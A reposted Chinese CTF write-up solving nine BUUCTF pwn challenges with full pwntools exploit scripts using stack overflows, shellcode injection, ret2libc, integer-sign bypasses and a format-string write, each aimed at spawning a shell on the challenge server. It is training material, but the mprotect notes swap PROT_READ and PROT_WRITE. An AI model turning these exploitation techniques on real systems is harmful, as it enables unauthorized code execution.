我是靠谱客的博主 精明衬衫,最近开发中收集的这篇文章主要介绍BUU-pwn(三)not_the_same_3dsctf_2016ciscn_2019_n_5others_shellcodeciscn_2019_ne_5铁人三项(第五赛区)_2018_ropbjdctf_2020_babyropbjdctf_2020_babystack2jarvisoj_fmpwn2_sctf_2016,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

not_the_same_3dsctf_2016

栈溢出,存在后门函数


后门函数:

将flag读取到fl4g参数中,需要将其输出。

from pwn import *
r=remote('node4.buuoj.cn',28249)
context.log_level='debug'

elf = ELF('not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_secret = 0x080489A0
fl4g = 0x080ECA2D

payload = b'a'*0x2D+p32(get_secret)+p32(write_addr)+p32(fl4g)+p32(1)+p32(fl4g)+p32(50)
r.sendline(payload)
print(r.recv())
r.interactive()

解法二
利用 mprotect 函数可以修改内存权限,关于栈平衡 C|函数调用约定与堆栈平衡的汇编代码分析

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  • PROT_READ:表示内存段内的内容可写;

  • PROT_WRITE:表示内存段内的内容可读;

  • PROT_EXEC:表示内存段中的内容可执行;

  • PROT_NONE:表示内存段中的内容根本没法访问;


exp

from pwn import *
#r=process('./p')
r=remote('node4.buuoj.cn',25446)
context.log_level='debug'
elf = ELF('not_the_same_3dsctf_2016')

mprotect_addr = elf.sym['mprotect']
read_addr = elf.sym['read']
pop_addr = 0x0806fcc8

args1 = 0x080EB000
args2 = 0x100
args3 = 0x7

shellcode = asm(shellcraft.sh())
payload = b'a'*0x2D+p32(mprotect_addr)+p32(pop_addr)+p32(args1)+p32(args2)+p32(args3)+p32(read_addr)+p32(pop_addr)+p32(0)+p32(args1)+p32(0x100)+p32(args1)
# padding+ mprotect + pop + 参数1+ 2+ 3+ ret(read_addr) + pop + 参数1 + 2 + 3 +ret(args1 执行shellcode) 
r.sendline(payload)
r.sendline(shellcode)

r.interactive()

ciscn_2019_n_5

存在栈溢出,ret2shellcode
在这里插入图片描述
保护全关


name在bss段,写shellcode到name,利用text溢出ret到shellcode,有个疑惑,本机ida,dbg调试都显示bss段为不可知性,问大佬说系统可能不一样,远程机器为可执行权限
exp

from pwn import *
#r=process('./p')
r=remote('node4.buuoj.cn',25622)
context(os='linux', arch='amd64', log_level='debug')

bss = 0x0601080

r.recvuntil("name")
shellcode = asm(shellcraft.sh())
r.sendline(shellcode)

r.recvuntil("me?")
payload = b'a'*(0x20+0x8)+p64(bss)
r.sendline(payload)

r.interactive()   

others_shellcode

资料:CTF pwn傻傻分不清的execve、int80、syscall、system及shellcode

想要获得一个shell, 除了system(“/bin/sh”) 以外, 还有一种更好的方法, 就是系统调用中的 execve("/bin/sh", NULL, NULL)获得shell。我们可以在 Linxu系统调用号表 中找到对应的系统调用号,进行调用

32位:
int 0x80 汇编调用,系统调用号用 eax 储存, 第一 、 二 、 三参数分别在 ebx 、ecx 、edx中储存

64位:
syscall 汇编指令调用,系统调用号用 rax 储存, 第一 、 二 、 三参数分别在 rdi 、rsi 、rdx中储存


eax = 0FFFFFFFFh - 0FFFFFFF4h = 11。看上面函数也发现result也就是eax的值就是11,也就是调用了execve,还将/bin/sh存入了eax中,所以直接nc 即可

ciscn_2019_ne_5

ROPgadget找到sh地址,利用4中的strcpy溢出

from pwn import *
#r=process('./p')
r=remote('node4.buuoj.cn',26395)
context(os='linux', arch='amd64', log_level='debug')

system_addr = 0x080484d0
shell_addr=0x80482ea

r.sendlineafter('Please input admin password:','administrator')
r.recvuntil('Exitn:')
r.sendline('1')
r.recvuntil("Please input new log info:")
payload = b'a'*0x48+b'a'*0x4+p32(system_addr)+b'a'*0x4+p32(shell_addr)
r.sendline(payload)
r.recvuntil('Exitn:')
r.sendline('4')

r.interactive()   

铁人三项(第五赛区)_2018_rop

属于ret2libc题型


exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

r = remote('node4.buuoj.cn',29991)
#r = process('./2018_rop')
elf = ELF('./2018_rop')

write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.sym['main']

payload=b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)

write_addr = u32(r.recv(4))
libc = LibcSearcher('write',write_addr)
offset = write_addr - libc.dump('write')
sys_addr = offset + libc.dump('system')
bin_addr = offset + libc.dump('str_bin_sh')
payload=b'a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()

bjdctf_2020_babyrop

64位程序,就需要考虑 64位的寄存器问题了

溢出点:

在这里插入图片描述
ROPgadget寻找pop rdi

ROPgadget --binary bjdctf_2020_babyrop |grep "pop rdi"

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

r = remote('node4.buuoj.cn',29338)
#r = process('./2018_rop')
elf = ELF('./bjdctf_2020_babyrop')

pop_rdi = 0x400733
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']

print(hex(main_addr))
r.recvuntil("Pull up your sword and tell me u story!n")
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendline(payload)

puts_addr = u64(r.recv(6).ljust(8,b'x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)

offset = puts_addr - libc.dump('puts')
sys_addr = offset + libc.dump('system')
bin_addr = offset + libc.dump('str_bin_sh')
payload=b'a'*(0x20+8)+p64(pop_rdi)+p64(bin_addr)+p64(sys_addr)+p64(0)
r.recvuntil("Pull up your sword and tell me u story!n")
r.sendline(payload)
r.interactive()

bjdctf_2020_babystack2

64位,有后门函数,这题考察一个有/无符号数,当输入0xffff,无符号型整数会认为是一个很大的数,但是对于有符号数就是 -1

exp

from pwn import *
#from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

r = remote('node4.buuoj.cn',26243)
#r = process('./2018_rop')
#elf = ELF('./bjdctf_2020_babyrop')

shell_addr = 0x0400726
r.recv()
r.sendline('-1')
payload = b'a'*(0x10+8)+p64(shell_addr)+p64(0)
r.recv()
r.sendline(payload)
r.interactive()

jarvisoj_fm

开启canary保护,存在格式化字符串漏洞,测算偏移为11


getshell条件为x == 4

exp,注意context为32位

from pwn import *
#from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')

r = remote('node4.buuoj.cn',28518)
#r = process('./2018_rop')
#elf = ELF('./bjdctf_2020_babyrop')

x_addr = 0x0804A02C
payload = fmtstr_payload(11,{x_addr:0x4})
r.sendline(payload)
r.interactive()

pwn2_sctf_2016

整数溢出+ret2libc

用户输入v2定义为有符号数
在这里插入图片描述
但是进入到 get_n 中,转为无符号数,-1小于32,绕过if

在这里插入图片描述

exp,这题有点坑,新版的libcsearcher搜出来的9个都不能用,用旧版的可以

from pwn import *
from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')

r = remote('node4.buuoj.cn',27523)
#r = process('./2018_rop')
elf = ELF('./pwn2_sctf_2016')



printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')#输入-1的话会成为4294967295造成溢出
r.recvuntil('n')
payload=b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

最后

以上就是精明衬衫为你收集整理的BUU-pwn(三)not_the_same_3dsctf_2016ciscn_2019_n_5others_shellcodeciscn_2019_ne_5铁人三项(第五赛区)_2018_ropbjdctf_2020_babyropbjdctf_2020_babystack2jarvisoj_fmpwn2_sctf_2016的全部内容,希望文章能够帮你解决BUU-pwn(三)not_the_same_3dsctf_2016ciscn_2019_n_5others_shellcodeciscn_2019_ne_5铁人三项(第五赛区)_2018_ropbjdctf_2020_babyropbjdctf_2020_babystack2jarvisoj_fmpwn2_sctf_2016所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部